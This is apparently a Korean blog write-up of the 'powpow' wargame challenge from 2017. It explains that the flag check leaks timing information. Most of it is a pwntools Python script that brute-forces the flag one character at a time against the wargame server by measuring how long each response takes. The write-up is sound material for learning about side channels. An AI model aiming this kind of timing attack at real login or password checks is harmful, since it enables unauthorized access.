[Wargame] CERTIS powpow

Posted by MrBIN on January 7, 2017

Powpow

  • side channel attack 문제
  • input 스트링으로 flag를 입력받는데 flag 글자 하나당 최대 4100 x 4100 = 16,810,000번 검사함.
  • 중간에 flag에 맞는 글자가 나오면 검사 시간이 짧게 측정됨. 경과 시간을 바탕으로 flag 값 예측.
  • 서버 시간이 들쑥날쑥이라 기준을 잘 세워야함.

img1

from pwn import *
from time import *
context.log_level = 'debug'

real_key = ""
test_key = ""
save_time = 1.4
save_data = 0

_map = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789_!@#$%^&*(){}"

for cnt in range(25):
    for word in _map:
        avgtime = 0.0
        test_key = real_key + word
        if len(test_key) != 25 :
            var = 25 - len(test_key)
            test_key = test_key + "_" * var

        s = remote("wargame.kimtae.xyz",10003)
        s.sendline(test_key)
        stime = time()
        s.recvuntil("Wrong Password")
        taketime = time() - stime
        s.close()

        print test_key
        avgtime += taketime

        if (avgtime > save_time):
            save_time = avgtime + 0.65
            save_data = word
            print word , avgtime , save_time
            break
        else:
            print word , avgtime , save_time

    real_key += save_data
    print real_key

    f = open("aa.txt" , "a")
    f.write(real_key)
    f.close()

print real_key